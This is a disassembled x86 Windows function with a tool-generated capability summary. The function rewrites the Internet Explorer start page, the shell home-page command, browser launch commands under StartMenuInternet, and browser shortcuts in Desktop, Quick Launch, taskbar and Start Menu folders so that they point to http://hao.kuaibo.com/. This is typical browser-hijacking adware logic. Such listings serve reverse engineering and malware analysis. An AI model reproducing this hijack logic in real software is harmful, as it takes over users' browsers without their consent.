Function at 0x472700
Capabilities:
Check if file exists
Get common file path
Get file attributes
Query or enumerate registry key

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4f3158
push eax
mov eax, 0x1e88
mov dword fs:[0], esp
call fcn.004ded50
push ebx
push esi
push edi
mov esi, ecx
push 0x5209fc
push SysReAllocStringLen
lea ecx, [esp + 0x1674]
mov dword [esp + 0x30], esi
call fcn.004c4470
xor ebx, ebx
mov ecx, 0x3ff
xor eax, eax
lea edi, [esp + 0x25a]
mov word [esp + 0x258], bx
push 0x800
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x25c]
lea ecx, [esp + 0x1670]
push eax
push str.Start_Page
push str.SoftwareMicrosoftInternet_ExplorerMain
mov dword [esp + 0x1eac], ebx
call fcn.004c44c0
cmp eax, ebx
je 0x4727be
mov ecx, dword [esp + 0x1ea4]
lea edx, [esp + 0x258]
push ecx
push edx
mov ecx, esi
call fcn.004723c0
test eax, eax
jne 0x4727be
push str.http:__hao.kuaibo.com_
push str.Start_Page
push str.SoftwareMicrosoftInternet_ExplorerMain
lea ecx, [esp + 0x1678]
call fcn.004c4870
mov ecx, 0x400
xor eax, eax
lea edi, [esp + 0x258]
push 0x5209fc
rep stosd dword es:[edi], eax
push SysReAllocStringLen
lea ecx, [esp + 0x1a88]
call fcn.004c4470
lea eax, [esp + 0x258]
push 0x800
push eax
push ebx
push str.CLSID871C5380_42A0_1069_A2EA_08002B30309D_shellOpenHomePageCommand
lea ecx, [esp + 0x1a90]
mov byte [esp + 0x1eac], 1
call fcn.004c44c0
cmp eax, ebx
je 0x47295d
mov ecx, dword [0x50d0e0]
lea edx, [esp + 0x258]
test edx, edx
mov dword [esp + 0xc], ecx
je 0x472892
lea eax, [esp + 0x258]
shr eax, 0x10
jne 0x47284c
xor eax, eax
lea ecx, [esp + 0x258]
mov ax, cx
lea ecx, [esp + 0xc]
push eax
call fcn.00407b60
jmp 0x472892
lea edx, [esp + 0x258]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
cmp esi, ebx
je 0x472892
push esi
lea ecx, [esp + 0x10]
call fcn.00402190
test eax, eax
je 0x472892
lea ecx, [esi + esi]
lea eax, [esi + esi + 2]
cmp eax, ecx
jb 0x472892
mov edi, dword [esp + 0xc]
mov edx, ecx
lea esi, [esp + 0x258]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc]
mov byte [esp + 0x1e9c], 2
call fcn.00408c00
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.USER32.dll_CharLowerW]
push ebx
push str..exe
lea ecx, [esp + 0x14]
call fcn.00414af0
cmp eax, ebx
jle 0x472926
cmp word [esp + eax*2 + 0x260], 0x22
lea esi, [esp + eax*2 + 0x260]
jne 0x4728d6
add esi, 2
cmp word [esi], 0x20
jne 0x4728e5
add esi, 2
cmp word [esi], 0x20
je 0x4728dc
cmp word [esi], bx
je 0x472926
mov ecx, dword [esp + 0x1ea4]
push ecx
mov ecx, dword [esp + 0x2c]
push esi
call fcn.004723c0
test eax, eax
jne 0x472926
push str.http:__hao.kuaibo.com_
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea edx, [esp + 0x258]
lea ecx, [esp + 0x1a80]
push edx
push ebx
push str.CLSID871C5380_42A0_1069_A2EA_08002B30309D_shellOpenHomePageCommand
call fcn.004c4870
mov eax, dword [esp + 0xc]
mov edx, dword [0x50d0e4]
mov byte [esp + 0x1e9c], 1
lea ecx, [eax - 0xc]
cmp ecx, edx
je 0x47295d
add eax, 0xfffffff4
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jg 0x47295d
mov edx, dword [esp + 0xc]
lea eax, [edx - 0xc]
push eax
call fcn.004de3a6
add esp, 4
push ebp
push 0x5209fc
push reloc.OLEAUT32.dll_SysReAllocString
lea ecx, [esp + 0x1264]
call fcn.004c4470
lea eax, [esp + 0x28]
mov dword [esp + 0x28], ebx
push eax
push 0xf003f
push ebx
push str.SOFTWAREClientsStartMenuInternet
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edx, dword [esp + 0x28]
cmp edx, ebx
je 0x472b2a
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x56]
mov word [esp + 0x54], bx
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x4c]
mov dword [esp + 0x24], 0x104
push ecx
push ebx
stosw word es:[edi], ax
push ebx
lea eax, [esp + 0x30]
push ebx
lea ecx, [esp + 0x64]
push eax
push ecx
push ebx
push edx
mov ebp, 1
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x472b1f
mov edx, dword [0x50d0e0]
mov dword [esp + 0x10], edx
lea eax, [esp + 0x54]
lea ecx, [esp + 0x10]
push eax
push str.SOFTWAREClientsStartMenuInternet_s_shellopencommand
push ecx
mov byte [esp + 0x1eac], 4
call fcn.004074f0
add esp, 0xc
mov ecx, 0x400
xor eax, eax
lea edi, [esp + 0x25c]
lea edx, [esp + 0x25c]
push 0x800
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
push edx
push ebx
push eax
lea ecx, [esp + 0x126c]
call fcn.004c44c0
lea ecx, [esp + 0x25c]
push ecx
call dword [sym.imp.USER32.dll_CharLowerW]
lea edx, [esp + 0x25c]
push str..exe
push edx
call fcn.004df682
mov esi, eax
add esp, 8
cmp esi, ebx
je 0x472abf
add esi, 8
cmp word [esi], 0x22
jne 0x472a6f
add esi, 2
cmp word [esi], 0x20
jne 0x472a7e
add esi, 2
cmp word [esi], 0x20
je 0x472a75
cmp word [esi], bx
je 0x472abf
mov eax, dword [esp + 0x1ea8]
mov ecx, dword [esp + 0x2c]
push eax
push esi
call fcn.004723c0
test eax, eax
jne 0x472abf
push str.http:__hao.kuaibo.com_
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x25c]
push ecx
push ebx
push edx
lea ecx, [esp + 0x1268]
call fcn.004c4870
mov eax, dword [esp + 0x10]
mov edx, dword [0x50d0e4]
mov byte [esp + 0x1ea0], 3
lea ecx, [eax - 0xc]
cmp ecx, edx
je 0x472af6
add eax, 0xfffffff4
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jg 0x472af6
mov edx, dword [esp + 0x10]
lea eax, [edx - 0xc]
push eax
call fcn.004de3a6
add esp, 4
lea ecx, [esp + 0x4c]
lea edx, [esp + 0x24]
push ecx
push ebx
push ebx
push ebx
lea ecx, [esp + 0x64]
mov eax, ebp
push edx
mov edx, dword [esp + 0x3c]
push ecx
push eax
push edx
inc ebp
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x4729e2
mov eax, dword [esp + 0x28]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov cl, byte [esp + 0x33]
mov dword [esp + 0x18], ebx
mov byte [esp + 0x14], cl
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov ebp, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov byte [esp + 0x1ea0], 5
mov dword [esp + 0x34], 0x10
mov dword [esp + 0x38], 0x19
mov dword [esp + 0x3c], 0xb
mov dword [esp + 0x40], 2
mov dword [esp + 0x44], 0x16
mov dword [esp + 0x48], 0x17
lea esi, [esp + 0x34]
mov dword [esp + 0x24], 6
mov edx, dword [esi]
mov ecx, 0x400
xor eax, eax
lea edi, [esp + 0x25c]
rep stosd dword es:[edi], eax
push eax
lea eax, [esp + 0x260]
push edx
push eax
push 0
call ebp
lea ecx, [esp + 0x25c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x472c67
cmp word [esp + eax*2 + 0x25a], 0x5c
je 0x472be4
lea edx, [esp + 0x25c]
push 0x50e0a8
push edx
call fcn.004df3b6
add esp, 8
mov eax, dword [0x50d0e0]
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x25c]
lea edx, [esp + 0x10]
push ecx
push str._sInternet_Explorer.lnk
push edx
mov byte [esp + 0x1eac], 6
call fcn.004074f0
mov eax, dword [esp + 0x1c]
add esp, 0xc
push eax
call ebx
cmp eax, 0xffffffff
je 0x472c30
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x10]
push ecx
push 1
push edx
lea ecx, [esp + 0x20]
call fcn.00473f40
mov eax, dword [esp + 0x10]
mov edx, dword [0x50d0e4]
mov byte [esp + 0x1ea0], 5
lea ecx, [eax - 0xc]
cmp ecx, edx
je 0x472c67
add eax, 0xfffffff4
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jg 0x472c67
mov edx, dword [esp + 0x10]
lea eax, [edx - 0xc]
push eax
call fcn.004de3a6
add esp, 4
mov eax, dword [esp + 0x24]
add esi, 4
dec eax
mov dword [esp + 0x24], eax
jne 0x472b8e
mov ecx, 0x400
xor eax, eax
lea edi, [esp + 0x25c]
push eax
rep stosd dword es:[edi], eax
lea eax, [esp + 0x260]
push 0x1a
push eax
push 0
call ebp
lea ecx, [esp + 0x25c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
pop ebp
jle 0x472e79
cmp word [esp + eax*2 + 0x256], 0x5c
je 0x472ccf
lea edx, [esp + 0x258]
push 0x50e0a8
push edx
call fcn.004df3b6
add esp, 8
mov eax, dword [0x50d0e0]
mov dword [esp + 0xc], eax
lea ecx, [esp + 0x258]
lea edx, [esp + 0xc]
push ecx
push str._sMicrosoftInternet_ExplorerQuick_Launch_
push edx
mov byte [esp + 0x1ea8], 7
call fcn.004074f0
mov eax, dword [esp + 0x18]
add esp, 0xc
push eax
call ebx
cmp eax, 0xffffffff
je 0x472d1b
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0xc]
push ecx
push 1
push edx
lea ecx, [esp + 0x1c]
call fcn.00473f40
lea eax, [esp + 0x258]
lea ecx, [esp + 0xc]
push eax
push str._sMicrosoftInternet_ExplorerQuick_LaunchUser_PinnedTaskBar_
push ecx
call fcn.004074f0
mov edx, dword [esp + 0x18]
add esp, 0xc
push edx
call ebx
cmp eax, 0xffffffff
je 0x472d56
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0xc]
push eax
push 1
push ecx
lea ecx, [esp + 0x1c]
call fcn.00473f40
lea edx, [esp + 0x258]
lea eax, [esp + 0xc]
push edx
push str._sMicrosoftInternet_ExplorerQuick_LaunchInternet_Explorer.lnk
push eax
call fcn.004074f0
mov ecx, dword [esp + 0x18]
add esp, 0xc
push ecx
call ebx
cmp eax, 0xffffffff
je 0x472d91
mov eax, dword [esp + 0x18]
lea edx, [esp + 0xc]
push edx
push 1
push eax
lea ecx, [esp + 0x1c]
call fcn.00473f40
lea ecx, [esp + 0x258]
lea edx, [esp + 0xc]
push ecx
push str._sMicrosoftInternet_ExplorerQuick_LaunchUser_PinnedTaskBarInternet_Explorer.lnk
push edx
call fcn.004074f0
mov eax, dword [esp + 0x18]
add esp, 0xc
push eax
call ebx
cmp eax, 0xffffffff
je 0x472dcc
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0xc]
push ecx
push 1
push edx
lea ecx, [esp + 0x1c]
call fcn.00473f40
lea eax, [esp + 0x258]
lea ecx, [esp + 0xc]
push eax
push str._sMicrosoftWindowsStart_MenuProgramsInternet_Explorer.lnk
push ecx
call fcn.004074f0
mov edx, dword [esp + 0x18]
add esp, 0xc
push edx
call ebx
cmp eax, 0xffffffff
je 0x472e07
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0xc]
push eax
push 1
push ecx
lea ecx, [esp + 0x1c]
call fcn.00473f40
lea edx, [esp + 0x258]
lea eax, [esp + 0xc]
push edx
push str._sMicrosoftInternet_ExplorerQuick_LaunchUser_PinnedStartMenuInternet_Explorer.lnk
push eax
call fcn.004074f0
mov ecx, dword [esp + 0x18]
add esp, 0xc
push ecx
call ebx
cmp eax, 0xffffffff
je 0x472e42
mov eax, dword [esp + 0x18]
lea edx, [esp + 0xc]
push edx
push 1
push eax
lea ecx, [esp + 0x1c]
call fcn.00473f40
mov eax, dword [esp + 0xc]
mov edx, dword [0x50d0e4]
mov byte [esp + 0x1e9c], 5
lea ecx, [eax - 0xc]
cmp ecx, edx
je 0x472e79
add eax, 0xfffffff4
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jg 0x472e79
mov edx, dword [esp + 0xc]
lea eax, [edx - 0xc]
push eax
call fcn.004de3a6
add esp, 4
xor esi, esi
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
test eax, eax
je 0x472eaa
mov edx, ecx
sub edx, eax
sar edx, 2
cmp esi, edx
jae 0x472eaa
mov ecx, dword [esp + 0x1ea4]
mov edx, dword [eax + esi*4]
push ecx
mov ecx, dword [esp + 0x2c]
push edx
call fcn.00472540
inc esi
jmp 0x472e7b
cmp eax, ecx
mov byte [esp + 0x1e9c], 3
mov edi, ecx
mov esi, eax
je 0x472ef0
mov ecx, dword [esi]
mov ebx, dword [0x50d0e4]
lea edx, [ecx - 0xc]
cmp edx, ebx
je 0x472ee9
lea eax, [ecx - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jg 0x472ee5
mov eax, dword [esi]
sub eax, 0xc
push eax
call fcn.004de3a6
add esp, 4
mov eax, dword [esp + 0x14]
add esi, 4
cmp esi, edi
jne 0x472eba
push eax
call fcn.004de3a6
xor eax, eax
add esp, 4
lea ecx, [esp + 0x1258]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov byte [esp + 0x1e9c], 1
call fcn.004c44b0
lea ecx, [esp + 0x1a80]
mov byte [esp + 0x1e9c], 0
call fcn.004c44b0
lea ecx, [esp + 0x166c]
mov dword [esp + 0x1e9c], 0xffffffff
call fcn.004c44b0
mov ecx, dword [esp + 0x1e94]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x1e94
ret 4